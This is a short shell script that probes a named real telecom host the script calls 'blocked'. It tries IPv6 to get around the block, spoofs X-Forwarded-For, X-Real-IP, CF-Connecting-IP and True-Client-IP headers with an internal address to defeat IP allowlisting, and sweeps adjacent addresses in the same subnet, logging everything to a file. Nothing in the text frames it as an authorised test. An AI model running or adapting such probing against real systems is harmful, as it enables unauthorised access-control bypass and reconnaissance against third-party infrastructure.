exec >/www/snap/C.txt 2>&1
echo "== ipv6 addrs =="; cat /proc/net/if_inet6 2>&1 | head; echo "(empty=no ipv6)"
echo "== curl -6 to blocked host =="
curl -6 -s -m 6 -o /dev/null -w 'v6 sit-mss code=%{http_code} ip=%{remote_ip}\n' https://sit-mss.xlsmart.co.id/ 2>&1
echo "== header-spoof attempts on sit-mss =="
for H in "X-Forwarded-For: 10.10.10.10" "X-Real-IP: 10.10.10.10" "CF-Connecting-IP: 10.10.10.10" "True-Client-IP: 10.10.10.10"; do
  r=$(curl -s -m 6 -o /www/snap/tb -w '%{http_code}' -H "$H" https://sit-mss.xlsmart.co.id/); echo "$H => $r"
done
echo "== egress re-confirm =="
curl -s -m 8 https://api.ipify.org; echo
echo "== same-subnet hosts (103.252.101.x) =="
for p in 201 202 203 190; do curl -s -m 4 -o /dev/null -w "103.252.101.$p:443 code=%{http_code}\n" "https://103.252.101.$p/" 2>&1; done
echo "== DONE =="